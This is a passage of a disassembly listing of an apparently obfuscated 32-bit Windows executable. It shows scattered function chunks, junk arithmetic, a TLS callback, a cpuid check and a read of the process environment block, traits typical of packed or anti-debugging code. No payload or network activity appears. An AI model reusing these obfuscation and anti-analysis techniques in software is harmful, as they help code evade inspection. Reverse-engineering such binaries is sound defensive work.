loc_40C6AE:				; CODE XREF: sub_4087FF:loc_4107B2j
		xchg	edx, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_4087FF

; =============== S U B	R O U T	I N E =======================================



sub_40C6B2	proc near		; DATA XREF: sub_4087FF+7B53o

; FUNCTION CHUNK AT 00405578 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040A12E SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		mov	ebx, ecx
		pop	ecx
		jmp	loc_40A12E
sub_40C6B2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40C6BD:				; CODE XREF: _837l4vi2:0040F46Cj
		call	sub_40EED8
		mov	ebp, ecx
		jmp	loc_40EE1B
; ---------------------------------------------------------------------------


loc_40C6C9:				; CODE XREF: _837l4vi2:0040C2E6j
		pop	edi

; =============== S U B	R O U T	I N E =======================================



sub_40C6CA	proc near		; CODE XREF: sub_40F31D-5BDFp

; FUNCTION CHUNK AT 0040FB6D SIZE 0000000F BYTES

		xchg	eax, [esp+0]
		pop	eax
		call	sub_40FED5
		jmp	loc_40FB6D
sub_40C6CA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408CD1


loc_40C6D8:				; CODE XREF: sub_408CD1-823j
		adc	ecx, 2D537913h
		add	edi, 86E4AA55h
		sbb	ebp, 0F72BAA6Ah


loc_40C6EA:				; CODE XREF: sub_408CD1:loc_4084A0j
		xor	edx, 0E7586553h
		add	edx, ebp
		add	edx, 6439129Ch
		mov	al, [edx]
		mov	edx, offset sub_40B359
		jmp	loc_4054A5
; END OF FUNCTION CHUNK	FOR sub_408CD1

; =============== S U B	R O U T	I N E =======================================



sub_40C704	proc near		; DATA XREF: sub_40DDCA+Ao
		mov	eax, [eax]
		jmp	loc_40E004
sub_40C704	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_40C70B:				; CODE XREF: sub_409D6B:loc_40A9D2j
					; sub_40C099-16B8j ...
		xor	ebx, ebx


loc_40C70D:				; CODE XREF: sub_40C099+4EFDj
		mov	eax, ebx
		pop	ecx
		jmp	loc_40F07B
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F68F


loc_40C715:				; CODE XREF: sub_40F68F:loc_4066C1j
		jnz	loc_40503B
		jmp	loc_40F048
; END OF FUNCTION CHUNK	FOR sub_40F68F

; =============== S U B	R O U T	I N E =======================================



sub_40C720	proc near		; CODE XREF: sub_41045F-7E73j
					; sub_40926F:loc_40D98Fp

arg_0		= dword	ptr  4

		mov	[esp+0], edi
		pop	edi
		add	esi, 28495293h
		xchg	esi, [esp-4+arg_0]
		jmp	sub_40D92B
sub_40C720	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40882B


loc_40C732:				; CODE XREF: sub_40882B+5928j
		ja	loc_40E286
		cmp	esi, 0E7C62AEAh
		jmp	loc_40552A
; END OF FUNCTION CHUNK	FOR sub_40882B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B601


loc_40C743:				; CODE XREF: sub_40B601+9j
		push	offset loc_408CE0
		jmp	nullsub_50
; END OF FUNCTION CHUNK	FOR sub_40B601
; ---------------------------------------------------------------------------
		push	3B740E48h
		pop	edx
		add	edx, 6EA08F9Ch
		xor	edx, 0B542319Fh
		jmp	loc_40E17F
; ---------------------------------------------------------------------------


loc_40C764:				; DATA XREF: _837l4vi2:00406376o
		push	eax
		rol	eax, 18h
		push	ecx
		push	0AD90F256h
		pop	ecx
		or	ecx, 3F2738B1h
		test	ecx, 400000h
		jmp	loc_40D532
; ---------------------------------------------------------------------------


loc_40C780:				; DATA XREF: _837l4vi2:0041109Ao
		mov	eax, ds:dword_40AB90
		or	eax, eax
		jnz	loc_40E99B
		jmp	loc_40DFB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41087A


loc_40C793:				; CODE XREF: sub_41087A-AFFEj
		mov	edx, 47F16275h


loc_40C798:				; CODE XREF: sub_41087A:loc_40A8F3j
		call	nullsub_10
		retn
; END OF FUNCTION CHUNK	FOR sub_41087A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_40C79E:				; CODE XREF: sub_4065B8:loc_410A34j
		push	ecx
		push	12DC4600h
		xor	ecx, ebp
		jmp	loc_40527B
; END OF FUNCTION CHUNK	FOR sub_4065B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40601E


loc_40C7AB:				; CODE XREF: sub_40601E:loc_40746Dj
					; sub_40601E+2F84j
		mov	ecx, [ebp-1Ch]
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		mov	edx, [ebp-1Ch]
		shr	edx, 3
		mov	ecx, ds:dword_40AB9C
		movzx	edx, byte ptr [ecx+edx]
		jmp	loc_40742C
; END OF FUNCTION CHUNK	FOR sub_40601E

; =============== S U B	R O U T	I N E =======================================



sub_40C7CD	proc near		; CODE XREF: _837l4vi2:0040583Cj
					; sub_40EE53+7p

; FUNCTION CHUNK AT 0040DF45 SIZE 00000005 BYTES

		mov	[esp+0], edi
		pop	edi
		jnz	loc_407FFA
		jmp	loc_40DF45
sub_40C7CD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_40C7DC:				; CODE XREF: sub_407FEA:loc_407FFAj
		push	eax
		push	offset sub_4087B2
		jmp	loc_40ED76
; END OF FUNCTION CHUNK	FOR sub_407FEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AC43


loc_40C7E7:				; CODE XREF: sub_40AC43+Ej
		pop	esi
		and	esi, 0BC0CE65Ch
		cmp	esi, 9515C07h
		jmp	loc_40B3EC
; END OF FUNCTION CHUNK	FOR sub_40AC43
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_154. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		sub	edi, 14FE7FBh
		jmp	loc_40FE26

; =============== S U B	R O U T	I N E =======================================



sub_40C805	proc near		; CODE XREF: sub_408F75j
					; DATA XREF: sub_4062F1+2C7Ao

; FUNCTION CHUNK AT 00406B20 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00407563 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00407869 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004081EB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A46D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040ED0A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410E4A SIZE 00000028 BYTES

		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_40ABA0
		or	eax, eax
		jmp	loc_4081EB
sub_40C805	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_40C815:				; CODE XREF: sub_407FEA+3390j
					; _837l4vi2:loc_40CED2j
		cdq


loc_40C816:				; CODE XREF: sub_407FEA:loc_407387j
		call	sub_40C9A5
		retn
; END OF FUNCTION CHUNK	FOR sub_407FEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40989E


loc_40C81C:				; CODE XREF: sub_40989E+3A05j
		jmp	loc_40C023
; END OF FUNCTION CHUNK	FOR sub_40989E
; ---------------------------------------------------------------------------


loc_40C821:				; CODE XREF: _837l4vi2:loc_410601j
		call	sub_40BF48
		call	sub_406ADC
; START	OF FUNCTION CHUNK FOR sub_41087A


loc_40C82B:				; CODE XREF: sub_41087A:loc_40A9F2j
		push	offset sub_407B63
		jmp	loc_4090E6
; END OF FUNCTION CHUNK	FOR sub_41087A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B859


loc_40C835:				; CODE XREF: sub_40B859-2FB3j
		movzx	edx, byte ptr [ecx+edx]
		and	eax, edx
		jnz	loc_405746
		jmp	loc_406B64
; END OF FUNCTION CHUNK	FOR sub_40B859

; =============== S U B	R O U T	I N E =======================================



sub_40C846	proc near		; CODE XREF: sub_40E3C8+6p
		xchg	eax, [esp+0]
		mov	eax, [esp+0]
		push	eax
		call	sub_40DECF
		call	sub_40C85D
		retn
sub_40C846	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BE1F


loc_40C858:				; CODE XREF: sub_40BE1F-23F6j
		jmp	loc_40DCCB
; END OF FUNCTION CHUNK	FOR sub_40BE1F

; =============== S U B	R O U T	I N E =======================================



sub_40C85D	proc near		; CODE XREF: sub_40C846+Cp

; FUNCTION CHUNK AT 0040602B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00406B9E SIZE 00000005 BYTES

		push	ebp
		jmp	loc_40602B
sub_40C85D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_40C863:				; CODE XREF: sub_40AA44:loc_405624j
		jnz	loc_411008
		jmp	loc_40A153
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------
		popf
		sbb	esi, eax
		jmp	sub_40C32D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4061B1


loc_40C876:				; CODE XREF: sub_4061B1:loc_40D424j
		sbb	eax, ebx
		jmp	loc_40E39C
; END OF FUNCTION CHUNK	FOR sub_4061B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_40C87D:				; CODE XREF: sub_40833D+6B45j
		xchg	ebx, esi
		jmp	loc_40EAD3
; ---------------------------------------------------------------------------


loc_40C884:				; CODE XREF: sub_40833D:loc_405B0Fj
		push	offset loc_410790
		jmp	nullsub_103
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
		call	sub_40735A
		call	nullsub_216
		push	offset loc_40FC08
		jmp	locret_40983F
; ---------------------------------------------------------------------------

locret_40C8A2:				; CODE XREF: _837l4vi2:0040AA87j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D74E


loc_40C8A3:				; CODE XREF: sub_40D74E:loc_40519Aj
		push	76A5858Fh
		pop	eax
		xor	eax, ds:4000CAh
		sub	eax, 66F27BFBh
		add	eax, 5B04CF2Fh
		mov	eax, [eax]
		jmp	loc_410A9D
; END OF FUNCTION CHUNK	FOR sub_40D74E
; ---------------------------------------------------------------------------


loc_40C8C2:				; CODE XREF: _837l4vi2:0040E782j
		ror	eax, 3
		push	eax
		call	sub_40B99D
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406834


loc_40C8CC:				; CODE XREF: sub_406834+394j
		jmp	loc_405F60
; END OF FUNCTION CHUNK	FOR sub_406834

; =============== S U B	R O U T	I N E =======================================


		public TlsCallback_0

TlsCallback_0	proc near		; DATA XREF: _837l4vi2:TlsCallbackso

; FUNCTION CHUNK AT 0040C99A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004106EA SIZE 0000000A BYTES

		jns	loc_4106EA
		push	ebp
		jmp	loc_40E8FC
TlsCallback_0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A799


loc_40C8DD:				; CODE XREF: sub_40A799:loc_40AC6Fj
		xor	al, al
		or	eax, eax
		jnz	loc_40C938
		call	sub_409218
		call	sub_40AB15


loc_40C8F1:				; CODE XREF: _837l4vi2:0040C1D8j
		jnb	loc_4073BB


loc_40C8F7:				; CODE XREF: sub_40DDF1:loc_4106A8j
		sub	esi, 670C607Dh
		add	esi, 70722F09h
		xchg	esi, [esp-4+arg_0]
		jmp	loc_40B7FE
; END OF FUNCTION CHUNK	FOR sub_40A799

; =============== S U B	R O U T	I N E =======================================



sub_40C90B	proc near		; CODE XREF: _837l4vi2:00407823p
					; _837l4vi2:004080E3j
		mov	[esp+0], edi
		pop	edi
		push	0EFF3CC52h
		pop	eax
		push	offset sub_40BF19
		jmp	loc_408B5F
sub_40C90B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C5DF


loc_40C91F:				; CODE XREF: sub_40C5DF-5BEFj
		xor	edi, 0F69A103Dh
		add	edi, 0EC946C07h
		mov	[edi], eax
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_40C5DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ABCA


loc_40C92F:				; CODE XREF: sub_40ABCA+6j
		jmp	loc_408E05
; END OF FUNCTION CHUNK	FOR sub_40ABCA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AB24


loc_40C934:				; CODE XREF: sub_40AB24+5E03j
		setnz	[ebp+var_1]
; END OF FUNCTION CHUNK	FOR sub_40AB24
; START	OF FUNCTION CHUNK FOR sub_40AB15


loc_40C938:				; CODE XREF: sub_40AB15+Aj
					; sub_40A799+2148j ...
		mov	al, [ebp-1]
		xchg	edi, [esp-4+arg_0]
		mov	ecx, edi
		pop	edi
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_40AB15
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_40C944:				; CODE XREF: sub_40833D+6C35j
		jmp	loc_40EE80
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------


loc_40C949:				; CODE XREF: _837l4vi2:0040B3A2j
		jmp	locret_40C55A

; =============== S U B	R O U T	I N E =======================================



sub_40C94E	proc near		; CODE XREF: _837l4vi2:0040A638j
					; sub_40845E+7774p

; FUNCTION CHUNK AT 0040682F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004074C1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040CD2E SIZE 00000014 BYTES

		mov	[esp+0], ecx
		pop	ecx
		push	esi
		pushf
		push	896A9E3Eh
		pop	esi
		or	esi, ds:4000D3h
		xor	esi, 2F7CB32Dh
		jmp	loc_40CD2E
sub_40C94E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405CBC


loc_40C96B:				; CODE XREF: sub_405CBC:loc_40894Ej
		rol	eax, 0Bh
		mov	ds:dword_40D420, eax
		retn
; ---------------------------------------------------------------------------


loc_40C975:				; CODE XREF: sub_405CBC+9646j
		ror	eax, 0Bh
		push	eax
		call	sub_40B99D
		jmp	loc_40E7D4
; END OF FUNCTION CHUNK	FOR sub_405CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408A93


loc_40C983:				; CODE XREF: sub_408A93-3031j
		jnz	loc_40BF7F
		jmp	loc_40DA53
; END OF FUNCTION CHUNK	FOR sub_408A93
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_148. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410BD3


loc_40C98F:				; CODE XREF: sub_410BD3-31C3j
		jmp	sub_40B088
; END OF FUNCTION CHUNK	FOR sub_410BD3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_169. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AD3


loc_40C995:				; CODE XREF: sub_407AD3+8C8Aj
		jmp	loc_406CF2
; END OF FUNCTION CHUNK	FOR sub_407AD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR TlsCallback_0


loc_40C99A:				; CODE XREF: TlsCallback_0+3E1Ej
		jmp	nullsub_153
; END OF FUNCTION CHUNK	FOR TlsCallback_0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_40C9A0:				; CODE XREF: sub_40BF48+Cj
		jmp	loc_40A15E
; END OF FUNCTION CHUNK	FOR sub_40BF48

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A5	proc near		; CODE XREF: sub_406ADC-4EAj
					; sub_40AA44:loc_40AC74j ...

var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch

; FUNCTION CHUNK AT 00405514 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00410D18 SIZE 00000005 BYTES

		push	ebx
		mov	[esp+0], ebp
		mov	ebp, esp
		jnz	sub_40A7E9
		add	esp, 0FFFFFFE0h
		lea	eax, [ebp+var_20]
		mov	dword ptr [eax], 594C4C4Fh
		jmp	loc_410D18
sub_40C9A5	endp

; ---------------------------------------------------------------------------
		sbb	ecx, 2C456814h
		jmp	sub_405492
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DFF5


loc_40C9CD:				; CODE XREF: sub_40DFF5:loc_410B53j
		push	eax
		push	edi
		push	99587BE9h
		pop	edi
		jmp	loc_406519
; END OF FUNCTION CHUNK	FOR sub_40DFF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40882B


loc_40C9DA:				; CODE XREF: sub_40882B-35B5j
					; sub_40882B:loc_40BFC3j
		call	sub_40C9E0
		retn
; END OF FUNCTION CHUNK	FOR sub_40882B

; =============== S U B	R O U T	I N E =======================================



sub_40C9E0	proc near		; CODE XREF: sub_40882B:loc_40C9DAp
		push	ebp
		push	offset sub_40DF4A
		jmp	nullsub_53
sub_40C9E0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CD8A


loc_40C9EB:				; CODE XREF: sub_40CD8A-44DDj
		jbe	loc_407E71
		mov	[edi], eax


loc_40C9F3:				; CODE XREF: _837l4vi2:loc_40EA6Aj
		call	sub_40C1F0
		retn
; END OF FUNCTION CHUNK	FOR sub_40CD8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410619


loc_40C9F9:				; CODE XREF: sub_410619+8j
		jmp	sub_40E9F7
; END OF FUNCTION CHUNK	FOR sub_410619
; ---------------------------------------------------------------------------


loc_40C9FE:				; CODE XREF: _837l4vi2:0040E43Cj
		call	nullsub_7
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_40CA03:				; CODE XREF: sub_40AE2D+5C9Bj
		jz	loc_40AF72
		push	eax
		jmp	loc_4083FF
; END OF FUNCTION CHUNK	FOR sub_40AE2D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_127. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FED5


loc_40CA10:				; CODE XREF: sub_40FED5+Fj
		jmp	loc_40F1B2
; END OF FUNCTION CHUNK	FOR sub_40FED5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408F4B


loc_40CA15:				; CODE XREF: sub_408F4B:loc_405CDAj
		mov	esi, [esi]
		xchg	esi, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_408F4B

; =============== S U B	R O U T	I N E =======================================



sub_40CA1B	proc near		; CODE XREF: sub_40CE0E+9p
					; sub_40D92B+12p

; FUNCTION CHUNK AT 00407CD4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040BEA0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E603 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004107F5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004108D5 SIZE 0000000B BYTES

		push	21CFBB09h
		jmp	loc_4107F5
sub_40CA1B	endp

; ---------------------------------------------------------------------------


loc_40CA25:				; CODE XREF: _837l4vi2:loc_4108EAj
		jz	loc_40D71D
		jmp	loc_40B18A
; ---------------------------------------------------------------------------


loc_40CA30:				; DATA XREF: sub_406637+932Ao
		pop	edi
		cmp	dword ptr [ebp-8], 0
		jz	loc_406CD7
		jmp	loc_407D9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_40CA40:				; CODE XREF: sub_40E3C8-3467j
		jo	loc_409BD9
		jmp	loc_407804
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------


loc_40CA4B:				; CODE XREF: _837l4vi2:loc_407B77j
		cmp	dword ptr [ebp-4], 0
		jz	loc_4092E1
		jmp	loc_40F12E

; =============== S U B	R O U T	I N E =======================================



sub_40CA5A	proc near		; CODE XREF: sub_40FA97-8FC5p
					; _837l4vi2:0040C3E6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00405698 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00405850 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00408ACF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00409351 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040AAF1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040B16D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040B64A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040D64F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004100BB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00410412 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00410432 SIZE 00000005 BYTES

		mov	[esp+8+var_8], ecx
		pop	ecx
		add	eax, 57848977h
		push	eax
		pushf
		push	1A28999Eh
		pop	eax
		jmp	loc_410412
sub_40CA5A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_40CA71:				; CODE XREF: _837l4vi2:004058D8j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA72	proc near		; CODE XREF: sub_40FBA9+11j

; FUNCTION CHUNK AT 00405E0D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00409840 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0040A3DC SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0040FC58 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_40A13C
		or	eax, eax
		jmp	loc_40A3DC
sub_40CA72	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40CA86	proc near		; DATA XREF: _837l4vi2:0040AEDFo
		add	eax, 60FAFAD4h
		call	sub_40D92B
		jmp	loc_40CEBC
sub_40CA86	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40CA96:				; CODE XREF: _837l4vi2:00409DC7j
					; sub_40966E:loc_40BDFAj
		jb	loc_40B3FE
		mov	eax, large fs:30h
		jmp	loc_40C492
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------


loc_40CAA8:				; CODE XREF: _837l4vi2:004086C8j
		jge	sub_40A24F
		sbb	ecx, edx
		pop	ebx
		xchg	edi, [ebp+0]


loc_40CAB4:				; CODE XREF: _837l4vi2:loc_40D499j
		mov	eax, [ebp-4]
		mov	eax, [eax]
		and	eax, 0FFFFFFh
		jmp	loc_40CBDF
; ---------------------------------------------------------------------------


loc_40CAC3:				; CODE XREF: _837l4vi2:0040C6A9j
		add	edi, edx
		jg	loc_405DF8
		jmp	loc_4107B7

; =============== S U B	R O U T	I N E =======================================



sub_40CAD0	proc near		; CODE XREF: _837l4vi2:004061E3j
					; sub_405950:loc_40D089p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00405629 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004061BE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004069E0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00406C20 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00408617 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A61C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040AAAE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040CD7E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040D2E0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00410B08 SIZE 00000011 BYTES

		mov	[esp+0], ecx
		pop	ecx
		mov	eax, 1
		xor	edx, edx
		cpuid
		and	eax, 0FFFh
		jmp	loc_40CD7E
sub_40CAD0	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_40CAE8:				; CODE XREF: sub_4078C8-2355j
		jmp	loc_4104B4
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
		jb	loc_408360
		jmp	loc_408F2E
; ---------------------------------------------------------------------------


loc_40CAF8:				; CODE XREF: _837l4vi2:loc_40E762j
		mov	[esp], edx
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp]
		call	sub_40CBB2
		mov	al, 1
		pop	edx
		call	edx	; GetModuleHandleA
		jmp	loc_40D5A5
; ---------------------------------------------------------------------------


loc_40CB10:				; DATA XREF: sub_40F4E5-9482o
		push	100h
		lea	eax, [ebp-2C8h]
		call	sub_409804
; START	OF FUNCTION CHUNK FOR sub_4085A2


loc_40CB20:				; CODE XREF: sub_4085A2+5D1Ej
		jmp	loc_40F723
; END OF FUNCTION CHUNK	FOR sub_4085A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE62


loc_40CB25:				; CODE XREF: sub_40AE62+Cj
		jmp	loc_40D4E8
; END OF FUNCTION CHUNK	FOR sub_40AE62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405CBC


loc_40CB2A:				; CODE XREF: sub_405CBC+5FFj
		jmp	loc_40F571
; END OF FUNCTION CHUNK	FOR sub_405CBC
; ---------------------------------------------------------------------------


loc_40CB2F:				; CODE XREF: _837l4vi2:004050D1j
		jmp	loc_40CEE8
; ---------------------------------------------------------------------------


loc_40CB34:				; DATA XREF: sub_40892F+6F64o
		test	al, al
		jnz	loc_40C48D
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0E8h
		jnz	loc_40B931
		mov	eax, [ebp-4]
		jmp	loc_405C72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A050


loc_40CB50:				; CODE XREF: sub_40A050-3BC8j
		cmp	esi, ecx
		jmp	loc_4089D2
; END OF FUNCTION CHUNK	FOR sub_40A050
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_215. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A8ED


loc_40CB58:				; CODE XREF: sub_40A8ED+1j
		jmp	loc_40ED58
; END OF FUNCTION CHUNK	FOR sub_40A8ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407EF6


loc_40CB5D:				; CODE XREF: sub_407EF6-6B4j
					; sub_407EF6:loc_4096CFj
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		mov	[ebp+var_9], al
		mov	al, [ebp+var_A]
		call	sub_4094E2


loc_40CB6D:				; CODE XREF: sub_40E1CD-E88j
		jmp	nullsub_69
; END OF FUNCTION CHUNK	FOR sub_407EF6
; ---------------------------------------------------------------------------
		js	loc_410601
		jmp	loc_405AF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406327


loc_40CB7D:				; CODE XREF: sub_406327:loc_4102EAj
		rol	eax, 10h
		sub	eax, 4D642C3Ch
		add	eax, 26D2F91Bh
		call	sub_40D6D7
; END OF FUNCTION CHUNK	FOR sub_406327
; START	OF FUNCTION CHUNK FOR sub_4055D2


loc_40CB91:				; CODE XREF: sub_4055D2+1Fj
		jmp	loc_4055A8
; END OF FUNCTION CHUNK	FOR sub_4055D2
; ---------------------------------------------------------------------------


loc_40CB96:				; CODE XREF: _837l4vi2:00410E45j
		sbb	edi, ebx
; START	OF FUNCTION CHUNK FOR sub_410E1F


loc_40CB98:				; CODE XREF: sub_410E1F+13j
		add	edi, 0AD19E2Fh
		xchg	edi, [esp+4+var_4]
		jmp	sub_405250
; END OF FUNCTION CHUNK	FOR sub_410E1F

; =============== S U B	R O U T	I N E =======================================



sub_40CBA6	proc near		; DATA XREF: _837l4vi2:0040A3D2o
		xchg	ebx, [esp+0]
		call	sub_407B23


loc_40CBAE:				; DATA XREF: sub_40DD8C+8o
		pop	ebp
		retn	4
sub_40CBA6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CBB2	proc near		; CODE XREF: _837l4vi2:0040CB01p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004066BC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004075F5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040B0DB SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0040C633 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E394 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040E648 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040EF1C SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, ecx
		xchg	edx, [esp+8+var_8]
		mov	esp, ebp
		jmp	loc_40EF1C
sub_40CBB2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40CBC2	proc near		; CODE XREF: _837l4vi2:00408859j
					; sub_406C3E+5767p

; FUNCTION CHUNK AT 00405FF4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00407D33 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040822F SIZE 00000011 BYTES
